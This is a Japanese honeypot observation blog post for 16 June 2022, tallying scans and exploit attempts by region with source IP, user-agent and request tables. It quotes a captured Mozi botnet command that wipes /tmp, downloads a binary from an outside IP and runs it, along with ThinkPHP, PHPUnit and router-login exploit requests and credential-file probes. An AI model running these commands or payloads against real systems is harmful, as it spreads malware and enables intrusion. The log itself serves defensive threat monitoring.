コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/06/16 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2022/06/16分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為

Location:JP

Spring Bootの脆弱性を狙うアクセス
curlによるスキャン行為
WordPress Pluginへのスキャン行為
110.242.68.4に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://39.72.66.180:35906/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:US

D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
aiohttpによるスキャン行為
Laravelへのスキャン行為
Polycom PBX製品へのスキャン行為

を確認しました。

Location:UK

Spring Bootの脆弱性を狙うアクセス
/.gitへのスキャン行為
WordPressへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

Location:SG

Spring Bootの脆弱性を狙うアクセス
/.awsへのスキャン行為
110.242.68.4に関する不正通信

を確認しました。

他
アクセス数推移

JP：総アクセス数：218 (前日比：107)
US：総アクセス数：66 (前日比：1)
UK：総アクセス数：57 (前日比：-107)
SG：総アクセス数：110 (前日比：18)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.231.32.53 United States
1 20.211.101.34 United States
1 20.213.238.131 United States
1 39.72.66.180 China
1 42.63.200.128 China
3 43.227.66.217 China
2 44.202.237.205 United States
1 45.95.55.42 Germany
7 47.90.214.198 United States
57 52.90.192.15 United States
1 58.19.57.111 China
1 91.191.209.202 Bulgaria
15 95.214.235.205 Ukraine
1 104.217.249.182 United States
1 107.173.177.147 United States
2 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.123 Russia
1 111.162.155.130 China
1 112.66.108.178 China
1 113.90.172.91 China
1 117.25.124.40 China
1 118.255.246.92 China
1 119.60.104.178 China
1 119.60.104.224 China
1 123.158.61.52 China
2 128.199.10.218 United Kingdom
7 135.125.244.48 France
8 135.125.246.189 France
1 161.35.236.158 United States
1 164.92.252.11 United States
1 175.152.30.83 China
63 178.128.90.21 United States
1 180.149.125.164 Mongolia
1 180.149.125.173 Mongolia
1 182.138.158.202 China
9 185.7.214.104 Hong Kong
4 185.181.102.18 Romania
1 192.210.236.165 United States
1 192.241.213.140 United States
1 192.241.220.236 United States
1 193.142.59.15 Germany
1 205.210.31.13 United States
1 205.210.31.147 United States
3 222.186.19.205 China
1 222.218.102.91 China
1 222.247.139.99 China

UserAgent一覧

件数 UserAgent
16 -
2 Go-http-client/1.1
1 Hello, World
1 Hello, world
1 MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24
1 Mozila/5.0
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0)
63 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/9.0.1606.42 Safari/535.26
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML
2 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30
98 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 (compatible;)
1 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.01719037 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1 curl/7.75.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
1 \x03
1 \x16\x03\x01\x01C\x01
2 \x16\x03\x01\x01D\x01
3 \x16\x03\x01\x02
2 \x16\x03\x01
1 ``
1 CONNECT cn[.]bing[.]com:443 HTTP/1.1
2 CONNECT qzone-music[.]qq[.]com:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com:443 HTTP/1.1
1 CONNECT www[.]so[.]com:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com:443 HTTP/1.1
1 GET /.docker/.env HTTP/1.1
1 GET /.docker/laravel/app/.env HTTP/1.1
1 GET /.env.backup HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.prod.local HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production.local HTTP/1.1
46 GET /.env HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.msmtprc HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //administrator/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //app/.env HTTP/1.1
1 GET //apps/.env HTTP/1.1
1 GET //assets/.env HTTP/1.1
1 GET //config/.env HTTP/1.1
1 GET //core/.env HTTP/1.1
1 GET //core/Datavase/.env HTTP/1.1
1 GET //core/app/.env HTTP/1.1
1 GET //cron/.env HTTP/1.1
1 GET //cronlab/.env HTTP/1.1
1 GET //database/.env HTTP/1.1
1 GET //en/.env HTTP/1.1
1 GET //exapi/.env HTTP/1.1
1 GET //lab/.env HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //lib/.env HTTP/1.1
1 GET //psnlink/.env HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET //saas/.env HTTP/1.1
1 GET //site/.env HTTP/1.1
1 GET //sitemaps/.env HTTP/1.1
1 GET //tools/.env HTTP/1.1
1 GET //uploads/.env HTTP/1.1
1 GET //v1/.env HTTP/1.1
1 GET //v2/.env HTTP/1.1
1 GET //vendor/.env HTTP/1.1
1 GET //web/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /?pp=env HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /acme-challenge/.env HTTP/1.1
1 GET /acme_challenges/.env HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /beta/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /bootstrap/.env HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /config.json HTTP/1.1
2 GET /config/.env HTTP/1.1
2 GET /core/.env HTTP/1.1
1 GET /core/app/.env HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /debug/default/view.html HTTP/1.1
1 GET /debug/default/view HTTP/1.1
1 GET /doc/.env HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /docker/app/.env HTTP/1.1
1 GET /dotfiles/.env HTTP/1.1
1 GET /en/.env HTTP/1.1
1 GET /evox/about HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /frontend/web/debug/default/view HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /infos.php HTTP/1.1
1 GET /js/.env HTTP/1.1
1 GET /kyc/.env HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/core/.env HTTP/1.1
1 GET /lib/.env HTTP/1.1
1 GET /libs/.env HTTP/1.1
1 GET /linusadmin-phpinfo.php HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /pub/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /s3cmd.ini HTTP/1.1
1 GET /sapi/debug/default/view HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//39[.]72[.]66[.]180:35906/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /site/.env HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sites/.env HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /text4041655301367 HTTP/1.1
1 GET /tool/view/phpinfo.view.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/debug/default/view HTTP/1.1
1 GET /wp-config.php-backup HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
1 GET http[:]//qzone-music.qq.com/fcg-bin/cgi_playlist_xml.fcg?uin=92900274&json=1&g_tk=1655255281 HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /editBlackAndWhiteList HTTP/1.1
1 POST /sdk HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 45.95.55.42 Germany
8 51.79.29.48 Canada
1 79.185.170.217 Poland
1 83.143.86.62 Norway
1 91.191.209.202 Bulgaria
1 96.44.162.70 United States
2 96.44.162.190 United States
3 104.217.249.182 United States
2 107.173.177.147 United States
2 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.123 Russia
1 112.85.13.208 China
1 128.199.10.218 United Kingdom
1 137.184.226.64 United States
1 143.198.20.130 United States
1 162.142.125.212 United States
1 162.142.125.222 United States
1 162.221.192.26 United States
1 167.248.133.61 United States
1 178.128.195.38 United States
1 180.149.125.166 Mongolia
1 180.149.125.173 Mongolia
15 185.7.214.104 Hong Kong
1 185.130.226.206 Netherlands
9 185.254.196.223 Ukraine
1 192.241.203.219 United States
1 192.241.222.11 United States
1 194.165.16.24 Panama
1 205.210.31.2 United States

UserAgent一覧

件数 UserAgent
11 -
1 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
2 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 zgrab/0.x
1 Python/3.7 aiohttp/3.7.4.post0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_34.68.118.83_80\n
1 \x03
1 \x16\x03\x01\x01C\x01
2 \x16\x03\x01\x01D\x01
1 \x16\x03\x01
25 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1/ HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /pv/000000000000.cfg HTTP/1.1
1 GET /pv/spa112.cfg HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
13 2.56.57.132 Netherlands
1 5.188.210.227 Russia
1 34.243.76.102 United States
1 45.95.55.42 Germany
7 52.165.163.244 United States
1 62.233.50.179 Russia
1 66.240.192.82 United States
1 91.191.209.202 Bulgaria
1 96.44.162.70 United States
1 103.60.60.186 Singapore
1 103.121.91.216 Vietnam
2 104.217.249.182 United States
2 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.123 Russia
1 162.142.125.8 United States
1 180.149.125.164 Mongolia
1 180.149.125.166 Mongolia
9 185.7.214.104 Hong Kong
1 192.241.206.192 United States
1 192.241.213.153 United States
1 192.241.221.147 United States
1 192.241.222.102 United States
1 205.210.31.14 United States
3 222.186.19.205 China

UserAgent一覧

件数 UserAgent
11 -
2 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
13 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_132.145.66.34_80\n
2 \x03
1 \x16\x03\x01\x01C\x01
2 \x16\x03\x01\x01D\x01
2 \x16\x03\x01
2 CONNECT opendata[.]baidu[.]com:443 HTTP/1.1
5 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /vendor/.env HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
1 GET http[:]//opendata[.]baidu[.]com/api.php?query=132.145.66.34&co=&resource_id=64235&oe=utf8 HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
2 POST /boaform/admin/formLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 14.204.44.47 China
1 40.77.80.88 United States
1 45.95.55.42 Germany
15 51.79.29.48 Canada
1 58.246.143.240 China
1 66.240.192.82 United States
1 83.143.86.62 Norway
1 91.191.209.202 Bulgaria
1 104.217.249.182 United States
2 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.123 Russia
1 111.162.156.199 China
1 121.29.178.13 China
1 124.117.198.40 China
1 125.84.237.131 China
1 128.1.248.26 United States
1 128.199.10.218 United Kingdom
1 162.142.125.210 United States
1 167.71.174.108 United States
1 167.172.247.109 United States
1 171.34.176.94 China
1 171.118.225.193 China
41 172.104.171.15 United States
1 180.95.231.251 China
1 180.149.125.167 Mongolia
1 180.149.125.171 Mongolia
9 185.7.214.104 Hong Kong
8 185.254.196.223 Ukraine
1 192.241.213.51 United States
1 192.241.214.42 United States
1 192.241.220.79 United States
1 198.235.24.149 United States
1 205.210.31.148 United States
1 221.199.94.2 China
1 222.94.140.104 China
2 222.186.19.205 China

UserAgent一覧

件数 UserAgent
9 -
1 Go-http-client/1.1
1 Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)
1 Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
41 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
29 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_13.67.44.234_80
1 \x03
1 \x16\x03\x01\x01C\x01
2 \x16\x03\x01\x01D\x01
3 \x16\x03\x01
1 CONNECT cn[.]bing[.]com:443 HTTP/1.1
1 CONNECT opendata[.]baidu[.]com:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com:443 HTTP/1.1
1 CONNECT www[.]so[.]com:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com:443 HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.bak HTTP/1.1
1 GET /.env.dev HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.local HTTP/1.1
30 GET /.env HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //beta/.env HTTP/1.1
1 GET //kyc/.env HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //laravel/core/.env HTTP/1.1
1 GET //prod/.env HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /asdf.php HTTP/1.1
1 GET /c/ HTTP/1.1
1 GET /cgi-bin/php.ini HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /config.env HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config/config.json HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /i.php HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info.json HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /infos.php HTTP/1.1
1 GET /linusadmin-phpinfo.php HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php.ini HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /temp.php HTTP/1.1
1 GET /test.php HTTP/1.1
1 GET /time.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-config.php.bak HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
1 GET http[:]//opendata[.]baidu[.]com/api.php?query=13.67.44.234&co=&resource_id=33575&oe=utf8 HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0